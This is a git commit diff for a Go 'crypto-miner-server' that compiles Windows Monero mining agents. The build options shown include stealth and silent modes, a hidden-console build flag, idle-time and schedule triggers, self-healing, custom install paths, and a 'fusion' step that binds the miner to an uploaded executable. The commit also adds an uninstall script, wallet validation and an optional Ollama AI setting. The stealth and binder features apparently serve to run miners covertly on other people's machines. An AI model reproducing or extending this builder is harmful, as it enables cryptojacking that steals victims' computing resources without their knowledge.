Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
@@ -13,16 +13,18 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/google/uuid"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
type BuildRequest struct {
|
||||
WorkerName string `json:"worker_name"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Wallet string `json:"wallet"`
|
||||
OutputDir string `json:"output_dir"`
|
||||
Threads int `json:"threads"`
|
||||
ThreadMode string `json:"thread_mode"`
|
||||
ThreadPercent int `json:"thread_percent"`
|
||||
@@ -39,35 +41,42 @@ type BuildRequest struct {
|
||||
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
||||
IdleThresholdPct int `json:"idle_threshold_pct"`
|
||||
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
||||
ScheduleStart string `json:"schedule_start"`
|
||||
ScheduleEnd string `json:"schedule_end"`
|
||||
InstallBase string `json:"install_base"`
|
||||
InstallCustomBase string `json:"install_custom_base"`
|
||||
InstallRelativePath string `json:"install_relative_path"`
|
||||
AdaptToHardware bool `json:"adapt_to_hardware"`
|
||||
SelfHealing bool `json:"self_healing"`
|
||||
FileLogging bool `json:"file_logging"`
|
||||
StealthMode bool `json:"stealth_mode"`
|
||||
PoolHost string `json:"pool_host"`
|
||||
ScheduleStart string `json:"schedule_start"`
|
||||
ScheduleEnd string `json:"schedule_end"`
|
||||
InstallBase string `json:"install_base"`
|
||||
InstallCustomBase string `json:"install_custom_base"`
|
||||
InstallRelativePath string `json:"install_relative_path"`
|
||||
AdaptToHardware bool `json:"adapt_to_hardware"`
|
||||
SelfHealing bool `json:"self_healing"`
|
||||
FileLogging bool `json:"file_logging"`
|
||||
StealthMode bool `json:"stealth_mode"`
|
||||
PoolHost string `json:"pool_host"`
|
||||
PoolPort int `json:"pool_port"`
|
||||
PoolTLS bool `json:"pool_tls"`
|
||||
PoolPass string `json:"pool_pass"`
|
||||
FusionEnabled bool `json:"fusion_enabled"`
|
||||
FusionRunOrder string `json:"fusion_run_order"`
|
||||
FusionOutputName string `json:"fusion_output_name"`
|
||||
// AI Autonomy (Ollama)
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
}
|
||||
|
||||
type BuildResponse struct {
|
||||
Success bool `json:"success"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
FileName string `json:"file_name,omitempty"`
|
||||
FilePath string `json:"file_path,omitempty"`
|
||||
RelativePath string `json:"relative_path,omitempty"`
|
||||
FileSize int64 `json:"file_size,omitempty"`
|
||||
DownloadURL string `json:"download_url,omitempty"`
|
||||
FusionEnabled bool `json:"fusion_enabled,omitempty"`
|
||||
WorkerFile string `json:"worker_file,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
Success bool `json:"success"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
FileName string `json:"file_name,omitempty"`
|
||||
FilePath string `json:"file_path,omitempty"`
|
||||
RelativePath string `json:"relative_path,omitempty"`
|
||||
FileSize int64 `json:"file_size,omitempty"`
|
||||
DownloadURL string `json:"download_url,omitempty"`
|
||||
UninstallFileName string `json:"uninstall_file_name,omitempty"`
|
||||
UninstallPath string `json:"uninstall_path,omitempty"`
|
||||
UninstallDownloadURL string `json:"uninstall_download_url,omitempty"`
|
||||
FusionEnabled bool `json:"fusion_enabled,omitempty"`
|
||||
WorkerFile string `json:"worker_file,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
type Handler struct {
|
||||
@@ -76,6 +85,16 @@ type Handler struct {
|
||||
agentSrcDir string
|
||||
projectRoot string
|
||||
goBinPath string
|
||||
policy BuildPolicy
|
||||
}
|
||||
|
||||
type BuildPolicy struct {
|
||||
StrictWalletValidation bool
|
||||
MaxBuildSizeMB int
|
||||
}
|
||||
|
||||
func (h *Handler) SetBuildPolicy(p BuildPolicy) {
|
||||
h.policy = p
|
||||
}
|
||||
|
||||
func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
|
||||
@@ -182,6 +201,24 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
||||
http.ServeFile(w, r, build.FilePath)
|
||||
}
|
||||
|
||||
func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
||||
buildID := chi.URLParam(r, "id")
|
||||
build, err := h.db.GetBuild(buildID)
|
||||
if err != nil {
|
||||
http.Error(w, "Build not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
uninstallPath := strings.TrimSuffix(build.FilePath, filepath.Base(build.FilePath)) +
|
||||
fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName))
|
||||
if _, err := os.Stat(uninstallPath); err != nil {
|
||||
http.Error(w, "Uninstall script missing", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(uninstallPath)))
|
||||
http.ServeFile(w, r, uninstallPath)
|
||||
}
|
||||
|
||||
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
buildID := uuid.New().String()
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
@@ -210,12 +247,12 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
}
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName))
|
||||
|
||||
ldflags := "-s -w -trimpath"
|
||||
ldflags := "-s -w"
|
||||
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
|
||||
cmd := exec.Command(h.goBinPath, "build", "-ldflags", ldflags, "-o", outputPath, ".")
|
||||
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".")
|
||||
cmd.Dir = agentDir
|
||||
cmd.Env = append(os.Environ(),
|
||||
"GOOS=windows",
|
||||
@@ -233,6 +270,11 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
finalName := workerName
|
||||
var fusionEnabled bool
|
||||
|
||||
uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
if req.FusionEnabled {
|
||||
fusedPath, err := h.buildFusion(buildDir, prepPath, outputPath, req.FusionOutputName, req.FusionRunOrder)
|
||||
if err != nil {
|
||||
@@ -243,10 +285,36 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
fusionEnabled = true
|
||||
}
|
||||
|
||||
// Optional "export" copy for convenience (still keeps canonical build inside data/builds/<id>/...)
|
||||
// We only allow relative paths under dataDir to avoid writing outside the server workspace.
|
||||
if strings.TrimSpace(req.OutputDir) != "" {
|
||||
exportDir := filepath.Join(h.dataDir, filepath.Clean(strings.TrimSpace(req.OutputDir)))
|
||||
rel, err := filepath.Rel(h.dataDir, exportDir)
|
||||
if err != nil || rel == "." || strings.HasPrefix(rel, "..") {
|
||||
return BuildResponse{Success: false, Error: "Invalid output_dir (must be a relative folder under data_dir)"}, http.StatusBadRequest, ""
|
||||
}
|
||||
if err := os.MkdirAll(exportDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create output_dir"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
exportPath := filepath.Join(exportDir, finalName)
|
||||
if err := copyFile(finalPath, exportPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to export build to output_dir"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
exportUninstall := filepath.Join(exportDir, uninstallName)
|
||||
_ = copyFile(uninstallPath, exportUninstall)
|
||||
}
|
||||
|
||||
fileInfo, err := os.Stat(finalPath)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if h.policy.MaxBuildSizeMB > 0 {
|
||||
maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
|
||||
if fileInfo.Size() > maxBytes {
|
||||
_ = os.RemoveAll(buildDir)
|
||||
return BuildResponse{Success: false, Error: fmt.Sprintf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)}, http.StatusBadRequest, ""
|
||||
}
|
||||
}
|
||||
|
||||
absPath, _ := filepath.Abs(finalPath)
|
||||
relPath, _ := filepath.Rel(h.projectRoot, absPath)
|
||||
@@ -273,15 +341,18 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
}
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: finalName,
|
||||
FilePath: absPath,
|
||||
RelativePath: relPath,
|
||||
FileSize: fileInfo.Size(),
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
|
||||
FusionEnabled: fusionEnabled,
|
||||
WorkerFile: workerName,
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: finalName,
|
||||
FilePath: absPath,
|
||||
RelativePath: relPath,
|
||||
FileSize: fileInfo.Size(),
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
|
||||
UninstallFileName: uninstallName,
|
||||
UninstallPath: uninstallPath,
|
||||
UninstallDownloadURL: fmt.Sprintf("/api/v1/builds/%s/uninstall", buildID),
|
||||
FusionEnabled: fusionEnabled,
|
||||
WorkerFile: workerName,
|
||||
}, http.StatusOK, finalPath
|
||||
}
|
||||
|
||||
@@ -295,6 +366,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.Wallet == "" {
|
||||
return fmt.Errorf("wallet is required")
|
||||
}
|
||||
if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
|
||||
return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 95 chars)")
|
||||
}
|
||||
req.OutputDir = strings.TrimSpace(req.OutputDir)
|
||||
if req.OutputDir != "" {
|
||||
// must be relative to data_dir; no drive letters, no absolute paths, no traversal
|
||||
clean := filepath.Clean(req.OutputDir)
|
||||
if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) || strings.Contains(clean, ":") {
|
||||
return fmt.Errorf("output_dir must be a relative folder under data_dir")
|
||||
}
|
||||
req.OutputDir = clean
|
||||
}
|
||||
if req.Threads <= 0 {
|
||||
req.Threads = 4
|
||||
}
|
||||
@@ -385,6 +468,14 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
req.DisplayMode = "background"
|
||||
}
|
||||
}
|
||||
if req.AIEnabled {
|
||||
if req.AIOllamaEndpoint == "" {
|
||||
req.AIOllamaEndpoint = "http://localhost:11434"
|
||||
}
|
||||
if req.AIModel == "" {
|
||||
req.AIModel = "llama3.2"
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -400,7 +491,11 @@ func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHe
|
||||
return "", nil, fmt.Errorf("prep upload must be a .exe file")
|
||||
}
|
||||
|
||||
dir, err := os.MkdirTemp(filepath.Join(h.dataDir, "preps"), "upload-*")
|
||||
prepRoot := filepath.Join(h.dataDir, "preps")
|
||||
if err := os.MkdirAll(prepRoot, 0755); err != nil {
|
||||
return "", nil, fmt.Errorf("failed to create preps directory: %w", err)
|
||||
}
|
||||
dir, err := os.MkdirTemp(prepRoot, "upload-*")
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
@@ -464,6 +559,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
SelfHealing: %v,
|
||||
FileLogging: %v,
|
||||
StealthMode: %v,
|
||||
AIEnabled: %v,
|
||||
AIOllamaEndpoint: %q,
|
||||
AIModel: %q,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -500,6 +598,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.SelfHealing,
|
||||
req.FileLogging,
|
||||
req.StealthMode,
|
||||
req.AIEnabled,
|
||||
req.AIOllamaEndpoint,
|
||||
req.AIModel,
|
||||
)
|
||||
}
|
||||
|
||||
@@ -550,6 +651,24 @@ func copyFile(src, dest string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
func looksLikeXMRWallet(addr string) bool {
|
||||
a := strings.TrimSpace(addr)
|
||||
if len(a) < 90 || len(a) > 106 {
|
||||
return false
|
||||
}
|
||||
if a[0] != '4' {
|
||||
return false
|
||||
}
|
||||
for i := 1; i < len(a); i++ {
|
||||
c := a[i]
|
||||
if (c >= '0' && c <= '9') || (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') {
|
||||
continue
|
||||
}
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func sanitizeFileName(name string) string {
|
||||
replacer := strings.NewReplacer(
|
||||
" ", "-", "/", "-", "\\", "-", ":", "-",
|
||||
|
||||
Reference in New Issue
Block a user